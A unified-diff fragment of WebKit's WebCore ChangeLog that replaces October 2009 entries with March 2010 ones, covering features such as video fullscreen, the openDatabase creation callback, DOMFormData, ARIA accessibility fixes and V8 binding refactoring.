-        (WebCore::getPluginDisplay):
-        (WebCore::PluginView::platformStart):
-
-2009-10-05  Dirk Schulze  <krit@webkit.org>
+        (WebCore::StringImpl::deref):
+        (WebCore::StringImpl::hasOneRef):
 
-        Reviewed by Nikolas Zimmermann.
-
-        SVG Filters do not support source images besides "sourceGraphic"
-        [https://bugs.webkit.org/show_bug.cgi?id=6022]
-
-        Add support for SourceAlpha to SVG filters.
-
-        Test: svg/filters/sourceAlpha.svg
-
-        * platform/graphics/filters/SourceAlpha.cpp:
-        (WebCore::SourceAlpha::calculateEffectRect):
-        (WebCore::SourceAlpha::apply):
-        * platform/graphics/filters/SourceAlpha.h:
-
-2009-10-05  John Abd-El-Malek  <jam@chromium.org>
+2010-03-08  Dumitru Daniliuc  <dumi@chromium.org>
 
         Reviewed by Adam Barth.
 
-        Fix reliablity bot crash in DateExtension.
-        https://bugs.webkit.org/show_bug.cgi?id=30033
-
-        There were a few problems using the weak persistent pointers because no one else had a
-        handle to them.  The new approach stores them as a hidden value on the Date constructor.
-
-        * bindings/v8/DateExtension.cpp:
-        (WebCore::DateExtension::setAllowSleep):
-        (WebCore::DateExtension::GetNativeFunction):
-        (WebCore::DateExtension::Setup):
-        (WebCore::DateExtension::OnSleepDetected):
-        * bindings/v8/DateExtension.h:
-        * bindings/v8/V8HiddenPropertyName.cpp:
-        (WebCore::V8HiddenPropertyName::sleepFunction):
-        * bindings/v8/V8HiddenPropertyName.h:
-
-2009-10-05  Stephanie Lewis  <slewis@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Crash when trying to load a null stylesheet for a site specific hack. 
-        https://bugs.webkit.org/show_bug.cgi?id=30105
-
-        Created a testcase and tested in browser.  DRT doesn't test
-        site specific hacks.
-
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::setCSSStyleSheet):
-
-2009-10-05  James Robinson  <jamesr@google.com>
-
-        Reviewed by Darin Adler.
-
-        Fix forward declaration (struct vs class mismatch)
-
-        https://bugs.webkit.org/show_bug.cgi?id=30094
-
-        * loader/RedirectScheduler.h:
-
-2009-10-05  Julie Parent  <jparent@chromium.org>
-
-        Unreviewed, last Chromium build fix corresponding to revision 49113.
-        Add include for BeforeLoadEvent to DOMObjectsInclude.h.
-
-        * bindings/v8/DOMObjectsInclude.h:
-
-2009-10-05  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix Windows build.
-
-        * html/HTMLMediaElement.cpp:
-
-2009-10-05  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix the build: MediaControllerThemeQT was renamed to MediaControllerThemeQuickTime.
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
-
-2009-10-05  Pierre d'Herbemont  <pdherbemont@webkit.org>
-
-        Reviewed by Simon Fraser
-        
-        Support fullscreen in MediaPlayer (Mac)
-        https://bugs.webkit.org/show_bug.cgi?id=26742
-
-        Add a fullscreen button to the <video> controller if the media engine,
-        and the theme have support for fullscreen, and can show appropriate controls.
-        Clicking the button calls through the ChromeClient to the WebVideoFullscreenController
-        in WebKit to do a nice animation to fullscreen, with a custom controller.
-
-        * DerivedSources.make:
-        * WebCore.Video.exp: Added.
-        New export file for when VIDEO is enabled.
-        
-        * WebCore.base.exp: Export WebCore::HTMLNames::videoTag
-        * WebCore.xcodeproj/project.pbxproj: New files
-        
-        * html/HTMLMediaElement.h:
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::HTMLMediaElement):
-        (WebCore::HTMLMediaElement::willRemove):
-        (WebCore::HTMLMediaElement::screenRect):
-        (WebCore::HTMLMediaElement::enterFullscreen):
-        (WebCore::HTMLMediaElement::exitFullscreen):
-        (WebCore::HTMLMediaElement::platformMedia):
-        Add fullscreen logic. platformMedia returns a pointer to platform-specific playback data
-        used for fullscreen.
-        
-        * html/HTMLVideoElement.h:
-        * html/HTMLVideoElement.cpp:
-        (WebCore::HTMLVideoElement::supportsFullscreen): Check with both the player and the ChromeClient
-        to see if it's possile to enter fullscreen for this element.
-        
-        * page/ChromeClient.h:
-        (WebCore::ChromeClient::supportsFullscreenForNode):
-        (WebCore::ChromeClient::enterFullscreenForNode):
-        (WebCore::ChromeClient::exitFullscreenForNode):
-        New methods
-        
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::platformMedia):
-        (WebCore::MediaPlayer::platformMedia):
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::platformMedia):
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::platformMedia):
-        (WebCore::MediaPlayerPrivate::supportsFullscreen):
-        New methods to return platform-specific playback data for fullscreen.
-        
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlFullscreenButtonElement::defaultEventHandler):
-        Hook up the fullscreen button.
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
-        Allow the RenderThemeMac to make a decision about the availability of fullscreen based
-        on the QuickTime version, since this affects what controls are availabl.e
-
-2009-10-05  Kevin Decker  <kdecker@apple.com>
-
-        Export a few more methods from Settings.h
-        
-        Rubberstamped by Jon Honeycutt.
-        
-        * WebCore.base.exp:
-
-2009-10-05  Dmitry Titov  <dimich@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        1-char fix for obviously reverse condition.
-        https://bugs.webkit.org/show_bug.cgi?id=30100
-        No test since the only difference is a timing of GC.
-
-        * bindings/js/ScriptCachedFrameData.cpp:
-        (WebCore::ScriptCachedFrameData::clear): Revert condition. Almost a typo.
-
-2009-09-30  Kenneth Russell  <kbr@google.com>
-
-        Reviewed by Darin Fisher.
-
-        Update platform-specific #ifdefs in GraphicsContext3D.h for the
-        Chromium port.
-        https://bugs.webkit.org/show_bug.cgi?id=29936
-
-        * platform/graphics/GraphicsContext3D.h:
-        Changed #if PLATFORM(SKIA) to #if PLATFORM(CHROMIUM).
-
-2009-10-05  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Darin Adler.
-
-        REGRESSION (r47440): Inserting text in the middle of content in a scrolled textfield results in painting bugs
-        <rdar://problem/7269108>
-        https://bugs.webkit.org/show_bug.cgi?id=29982
-
-        Test: fast/repaint/line-in-scrolled-clipped-block.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::layoutBlock): Use the unclipped overflow rect
-        (including layout overflow) for the repaint rect calculation.
-
-2009-10-05  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Chromium wants to turn off SharedWorkers at runtime
-        https://bugs.webkit.org/show_bug.cgi?id=29757
-
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::sharedWorker):
-        Now returns jsUndefined if isAvailable() returns false, to allow SharedWorkers to be disabled at runtime.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerRepository::isAvailable):
-        Made SharedWorkers available by default.
-        * workers/SharedWorkerRepository.h:
-        Added definition for SharedWorkerRepository::isAvailable().
-
-2009-10-05  Hironori Bono  <hbono@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        A super quick fix for Bug 28710.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28710
-
-        This change just resets the style sent to addStyleMarkup() to avoid an assertion error
-        and creates an empty style when computedStyleAtPosition is 0 to avoid a crash.
-        (This change is nothing but a better-than-crash change.)
-
-        Tests: editing/selection/select-crash-001.html
-               editing/selection/select-crash-002.html
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::editingStyleAtPosition): Resets the style sent to addStyleMarkup() if it is not valid.
-        * editing/markup.cpp:
-        (WebCore::createMarkup): Creates an empty style if computedStyleAtPosition is 0.
-
-2009-10-05  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Mark Rowe.
-
-        Silence duplicate errors logged for missing getComputedStyle
-        implementations. Improves the error message as well.
+        Adding support for the optional creation callback that could be
+        passed to openDatabase().
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::logUnimplementedPropertyID):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-
-2009-10-05  Julie Parent  <jparent@chromium.org>
-
-        Unreviewed, Chromium build fix #3.  Add V8BeforeLoadEvent.[cc|h] to derived sources.
-
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-
-2009-10-05  Mark Rowe  <mrowe@apple.com>
+        Tests: storage/open-database-creation-callback.html
+               storage/open-database-creation-callback-isolated-world.html
 
-        Try and fix the GTK build.
+        https://bugs.webkit.org/show_bug.cgi?id=34726
 
+        * Android.jscbindings.mk
+        * Android.v8bindings.mk
         * GNUmakefile.am:
-
-2009-10-05  Julie Parent  <jparent@chromium.org>
-
-        Unreviewed, Chromium build fix #2.  Add new BEFORELOADEVENT to V8ClassIndex.
-
-        * bindings/v8/V8Index.h:
-
-2009-10-05  Julie Parent  <jparent@chromium.org>
-
-        Unreviewed, Chromium build fix.  Missing "," after entry for BeforeLoadEvent.idl. 
-
-        * WebCore.gypi:
-
-2009-10-05  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Add a beforeload event that will be fired before subresources load. (It isn't fired yet.)  The event
-        has one field, the URL that is going to be requested.  Setting preventDefault will stop the load
-        from occurring.
-
-        * DerivedSources.cpp:
-        * DerivedSources.make:
         * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * dom/BeforeLoadEvent.h: Added.
-        (WebCore::BeforeLoadEvent::create):
-        (WebCore::BeforeLoadEvent::initBeforeLoadEvent):
-        (WebCore::BeforeLoadEvent::url):
-        (WebCore::BeforeLoadEvent::BeforeLoadEvent):
-        * dom/BeforeLoadEvent.idl: Added.
-        * dom/EventNames.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::openDatabase):
+        * bindings/js/JSDatabaseCallback.cpp: Added.
+        (WebCore::JSDatabaseCallback::JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::~JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::handleEvent):
+        * bindings/js/JSDatabaseCallback.h: Added.
+        (WebCore::JSDatabaseCallback::create):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::openDatabaseCallback):
+        * bindings/v8/custom/V8DatabaseCallback.cpp: Added.
+        (WebCore::V8DatabaseCallback::V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::~V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::handleEvent):
+        * bindings/v8/custom/V8DatabaseCallback.h: Added.
+        (WebCore::V8DatabaseCallback::create):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::openDatabase):
+        * page/DOMWindow.h:
         * page/DOMWindow.idl:
+        * storage/Database.cpp:
+        (WebCore::DatabaseCreationCallbackTask::create):
+        (WebCore::DatabaseCreationCallbackTask::performTask):
+        (WebCore::DatabaseCreationCallbackTask::DatabaseCreationCallbackTask):
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+        (WebCore::Database::performCreationCallback):
+        * storage/Database.h:
+        (WebCore::Database::isNew):
+        * storage/DatabaseCallback.h: Added.
+        (WebCore::DatabaseCallback::~DatabaseCallback):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        * workers/WorkerContext.h:
 
-2009-10-05  Priit Laes  <plaes@plaes.org>
-
-        Reviewed by Gustavo Noronha.
-
-        Add Gentoo-specific paths for searching browser plugins.
-        https://bugs.webkit.org/show_bug.cgi?id=30088
+2010-03-10  Justin Schuh  <jschuh@chromium.org>
 
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::defaultPluginDirectories):
+        Reviewed by Adam Barth.
 
-2009-10-02  Chris Marrin  <cmarrin@apple.com>
+        Make Chrome consistently handle leading format characters in URLs
 
-        Reviewed by Adele Peterson.
+        https://bugs.webkit.org/show_bug.cgi?id=35948
 
-        Add functionality to pause/throttle CSS transitions/animations in a WebView
-        https://bugs.webkit.org/show_bug.cgi?id=29942
+        Test: http/tests/security/xss-DENIED-window-open-javascript-url-leading-format-char.html
 
-        Exporting call from AnimationController
+        * platform/KURLGoogle.cpp:
 
-        * WebCore.base.exp:
+2010-03-10  Jian Li  <jianli@chromium.org>
 
-2009-10-05  Kevin Decker  <kdecker@apple.com>
+        Reviewed by Dmitry Titov.
 
-        Rubberstamped by Anders Carlsson.
-        
-        * WebCore.base.exp: Update export of HaltablePlugin/PluginHalterClient.
-        * WebCore.xcodeproj/project.pbxproj: Likewise.
+        Implementing DOMFormData class.
+        https://bugs.webkit.org/show_bug.cgi?id=35707
 
-2009-10-05  Eric Seidel  <eric@webkit.org>
+        This patch only addresses the implementation of DOMFormData class and
+        moves the FormData construction logic from HTMLFormElement::createFormData
+        to FormData::create() so that it can be used by both HTMLFormElement
+        and XMLHttpRequest.
 
-        No review, rolling out r49104.
-        http://trac.webkit.org/changeset/49104
+        The DOMFormData IDL interface will be exposed in another patch and the
+        test will be added then.
 
-        * html/HTMLInputElement.cpp:
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-        * html/ValidityState.cpp:
-        * html/ValidityState.h:
-        (WebCore::ValidityState::rangeUnderflow):
-        (WebCore::ValidityState::rangeOverflow):
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderRange::SliderRange):
-        (WebCore::SliderRange::valueFromElement):
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * html/DOMFormData.cpp: Added.
+        * html/DOMFormData.h: Added.
+        * html/FormDataList.h:
+        (WebCore::FormDataList::encoding):
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::createFormData):
+        (WebCore::HTMLFormElement::submit):
+        * html/HTMLFormElement.h:
+        * platform/network/FormData.cpp:
+        (WebCore::FormData::create):
+        (WebCore::FormData::createMultiPart):
+        (WebCore::FormData::appendDOMFormData):
+        * platform/network/FormData.h:
+        (WebCore::FormData::boundary):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::send):
+        * xml/XMLHttpRequest.h:
 
-2009-10-05  Kent Tamura  <tkent@chromium.org>
+2010-03-10  Chris Fleizach  <cfleizach@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Beth Dakin.
 
-        Update style immediately when validation-related values are updated.
-        https://bugs.webkit.org/show_bug.cgi?id=28868
+        VoiceOver can navigate to hidden content in widget (WAI-ARIA)
+        https://bugs.webkit.org/show_bug.cgi?id=35986
 
-        In order to apply :valid, :invalid, :optional or :required lively,
-          - call setNeedsStyleRecalc() when properties which can change
-            willValidate state are updated, and
-             (Parent form element, name, disabled, readonly)
-          - call updateValidity() when properties which can change validity
-            state are updated. (value, pattern, required)
+        Elements that are subclassers of AXRenderObject have not been respecting
+        aria-hidden and other cases that would make them ignored. This applies
+        to tables, rows, cells, select boxes, sliders, and lists. Select boxes
+        also need to make sure their option elements respect aria-hidden as well.
 
-        Tests: fast/forms/input-live-pseudo-selectors.html
-               fast/forms/textarea-live-pseudo-selectors.html
+        Test: accessibility/aria-hidden-with-elements.html
 
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::HTMLFormControlElement):
-        (WebCore::HTMLFormControlElement::parseMappedAttribute):
-        (WebCore::HTMLFormControlElement::required):
-        (WebCore::HTMLFormControlElement::updateValidity):
-        * html/HTMLFormControlElement.h:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setInputType):
-        (WebCore::HTMLInputElement::parseMappedAttribute):
-        (WebCore::HTMLInputElement::setValue):
-        (WebCore::HTMLInputElement::setValueFromRenderer):
-        (WebCore::HTMLInputElement::setFileListFromRenderer):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::setValue):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::subtreeHasChanged):
+        * accessibility/AccessibilityList.cpp:
+        (WebCore::AccessibilityList::accessibilityIsIgnored):
+        * accessibility/AccessibilityListBox.cpp:
+        (WebCore::AccessibilityListBox::addChildren):
+        (WebCore::AccessibilityListBox::accessibilityIsIgnored):
+        (WebCore::AccessibilityListBox::doAccessibilityHitTest):
+        * accessibility/AccessibilityListBox.h:
+        * accessibility/AccessibilityListBoxOption.cpp:
+        (WebCore::AccessibilityListBoxOption::accessibilityIsIgnored):
+        * accessibility/AccessibilityListBoxOption.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnoredCommon):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::doAccessibilityHitTest):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySlider::accessibilityIsIgnored):
+        * accessibility/AccessibilitySlider.h:
+        (WebCore::AccessibilitySlider::roleValue):
+        (WebCore::AccessibilitySliderThumb::roleValue):
+        (WebCore::AccessibilitySliderThumb::accessibilityIsIgnored):
+        * accessibility/AccessibilityTable.cpp:
+        (WebCore::AccessibilityTable::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableCell.cpp:
+        (WebCore::AccessibilityTableCell::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableColumn.cpp:
+        (WebCore::AccessibilityTableColumn::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableColumn.h:
+        (WebCore::AccessibilityTableColumn::roleValue):
+        * accessibility/AccessibilityTableHeaderContainer.cpp:
+        (WebCore::AccessibilityTableHeaderContainer::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableHeaderContainer.h:
+        * accessibility/AccessibilityTableRow.cpp:
+        (WebCore::AccessibilityTableRow::accessibilityIsIgnored):
 
-2009-10-05  Kent Tamura  <tkent@chromium.org>
+2010-03-10  Dmitry Titov  <dimich@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Implement min/max attributes, ValidityState.rangeUnderflow and
-        ValidityState.rangeOverflow for <input type=number> and <input type=range>
-        https://bugs.webkit.org/show_bug.cgi?id=29069
-
-        Tests: fast/forms/ValidityState-rangeOverflow-number.html
-               fast/forms/ValidityState-rangeOverflow-range.html
-               fast/forms/ValidityState-rangeUnderflow-number.html
-               fast/forms/ValidityState-rangeUnderflow-range.html
-               fast/forms/input-minmax.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::rangeUnderflow):
-        (WebCore::HTMLInputElement::rangeOverflow):
-        (WebCore::HTMLInputElement::rangeMinimum):
-        (WebCore::HTMLInputElement::rangeMaximum):
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::rangeUnderflow):
-        (WebCore::ValidityState::rangeOverflow):
-        * html/ValidityState.h:
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderRange::SliderRange):
-        (WebCore::SliderRange::valueFromElement):
-
-2009-10-05  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
+        Make Document::postTask to use a single queue of tasks, to fire them in order
+        https://bugs.webkit.org/show_bug.cgi?id=35943
 
-        Introduces
-         - new CSS pseudo selector: "-webkit-input-list-button"
-         - new CSS apperance type: "list-button"
-         - new ControlPart value: "ListButtonPart"
-        for the UI of the list attribute of the input element, and adds
-        implementation to draw ListButtonPart on Mac.
-        The code is guarded by ENABLE(DATALIST).
+        Test: existing worker-cloneport.html which was broken by initial patch in http://trac.webkit.org/changeset/55593.
+        Additional test which indirectly verifies the order of execution will come as part of https://bugs.webkit.org/show_bug.cgi?id=34726
 
-        https://bugs.webkit.org/show_bug.cgi?id=27794
-
-        Test: platform/mac/fast/forms/input-list-button-size.html
-
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType):
-        * css/CSSSelector.h:
-        (WebCore::CSSSelector::):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
-        * css/CSSValueKeywords.in:
-        * css/html.css:
-        * html/HTMLInputElement.cpp:
-        * platform/ThemeTypes.h:
-        (WebCore::):
-        * platform/mac/ThemeMac.mm:
-        (WebCore::listButtonSizes):
-        (WebCore::button):
-        (WebCore::paintButton):
-        (WebCore::ThemeMac::controlSize):
-        (WebCore::ThemeMac::minimumControlSize):
-        (WebCore::ThemeMac::controlBorder):
-        (WebCore::ThemeMac::paint):
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::adjustStyle):
-        (WebCore::RenderTheme::paint):
-        (WebCore::RenderTheme::paintBorderOnly):
-        (WebCore::RenderTheme::paintDecorations):
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::adjustRepaintRect):
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
+        * dom/Document.cpp:
+        (WebCore::Document::postTask): Always use the same task queue, independent of what thread is posting the task.
 
-2009-10-05  Brian Weinstein  <bweinstein@apple.com>
+2010-03-10  Sanjeev Radhakrishnan  <sanjeevr@chromium.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Darin Fisher.
 
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30065>
-        nodeTitleInfo should be placed in ElementsTreeOutline.
-        
-        Move nodeTitleInfo into ElementsTreeOutline.js from utilities.js.
+        Allow a plugin to participate in the browser's print workflow.
+        https://bugs.webkit.org/show_bug.cgi?id=35550
 
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement):
-        (WebInspector.ElementsTreeElement.prototype._updateTitle):
-        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
-        * inspector/front-end/utilities.js:
+        * loader/PluginDocument.cpp:
+        * loader/PluginDocument.h:
 
-2009-10-02  Yael Aharon  <yael.aharon@nokia.com>
+2010-03-10  Ilya Tikhonovsky  <loislo@loislo-macbookpro.local>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Pavel Feldman.
 
-        [Qt] Inform the application when a new request is created
-        https://bugs.webkit.org/show_bug.cgi?id=29975
+        Sidebar resize element height was adjusted.
+        Display name for Function Call details was adjusted.
 
-        Emit a signal each time a request is created, with the request and the frame
-        that created it.
+        https://bugs.webkit.org/show_bug.cgi?id=35939
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
-        (WebCore::QNetworkReplyHandler::start):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._getRecordDetails):
 
-2009-10-05  Ben Murdoch  <benm@google.com>
+2010-03-10  Charles Wei  <charles.wei@torchmobile.com.cn>
 
-        Reviewed by Darin Adler.
+        Reviewed by George Staikos.
 
-        Add an ASSERT in updateGuidVersionMap.
-        https://bugs.webkit.org/show_bug.cgi?id=30077
+        Fix https://bugs.webkig.org/show_bug.cgi?id=35207
+        When XHTMLMP is enabled, all xhtml documents fail to render for webkit portings wich use libxml2 tokenizer.
 
-        * storage/Database.cpp:
-        (WebCore::updateGuidVersionMap): ASSERT that the guidMutex() is locked.
+        No new tests as all the xhtml test cases in LayoutTests/dom/xhtml fails without this fix when XHTMLMP is enabled.
 
-2009-10-05  Nate Chapin  <japhet@chromium.org>
+        * dom/Document.cpp:
+        (WebCore::Document::isXHTMLMPDocument):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::internalSubset):
+        (WebCore::externalSubsetHandler):
 
-        Reviewed by Eric Seidel.
+2010-03-10  Garret Kelly  <gdk@chromium.org>
 
-        Allow V8 to throw an exception in _NPN_SetException without worrying about context
-        if we don't have enough information to find the correct context.
+        Reviewed by Darin Fisher.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30026
+        Adding all of the touch-related sources into Chromium's WebCore build.
+        https://bugs.webkit.org/show_bug.cgi?id=35874
 
-        Part of the fix for Chromium's failure of LayouTests/plugins/netscape-throw-exception.html.
+        Patch tested against the try bots, but the feature is exercised in the
+        fast/events/touch tests.
 
-        * bindings/v8/NPV8Object.cpp: 
-        (_NPN_SetException): Don't suppress the exception if we can't find the relevant context.
+        * WebCore.gypi:
 
-2009-10-05  Mikhail Naganov  <mnaganov@chromium.org>
+2010-03-10  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Place "Close" button in docked mode on the same side as the window "Close" button in detached mode.
+        Web Inspector: now that audits panel is added, add it to the
+        enums (for storing last active, etc.).
 
-        https://bugs.webkit.org/show_bug.cgi?id=29961
+        https://bugs.webkit.org/show_bug.cgi?id=35980
 
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::specialPanelForJSName):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::showPanel):
         * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-
-2009-10-05  J-P Nurmi  <jpnurmi@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Added pure virtual QWebPageClient::pluginParent()
-
-        https://bugs.webkit.org/show_bug.cgi?id=29710
-
-        * platform/qt/QWebPageClient.h:
-
-2009-10-05  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Tor Arne Vestbø.
+        (WebInspector.showAuditsPanel):
 
-        [Qt] windowsKeyCodeForKeyEvent() returns a wrong value for the F10 key.
-        https://bugs.webkit.org/show_bug.cgi?id=30042
+2010-03-10  Nate Chapin  <japhet@chromium.org>
 
-        * platform/qt/PlatformKeyboardEventQt.cpp:
-        (WebCore::windowsKeyCodeForKeyEvent):
+        Reviewed by Dimitri Glazkov.
 
-2009-10-05  Fumitoshi Ukai  <ukai@chromium.org>
+        [V8] Instead of describing the type of a wrapped v8 object
+        with an enum value, use a pointer to struct with more complete
+        information.
 
-        Unreviewed build fix for ENABLE(WEB_SOCKETS) and v8.
+        https://bugs.webkit.org/show_bug.cgi?id=35941
 
-        V8ObjectEventListener.h has been removed at r48978
+        Refactoring only, so new tests.
 
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMData.cpp:
+        * bindings/v8/DOMData.h:
+        * bindings/v8/NPV8Object.cpp:
+        * bindings/v8/V8Collection.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8GCController.cpp:
+        * bindings/v8/V8Helpers.cpp:
+        * bindings/v8/V8Helpers.h:
+        * bindings/v8/V8Index.cpp: Removed.
+        * bindings/v8/V8Index.h:
+        * bindings/v8/V8NPObject.cpp:
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.h:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.h:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
         * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
 
-2009-10-04  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector console stops working while JS in IFRAME is paused.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29958
-
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._evaluateOn):
-        (InjectedScript.addInspectedNode):
-        (InjectedScript._ensureCommandLineAPIInstalled):
-
-2009-10-04  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
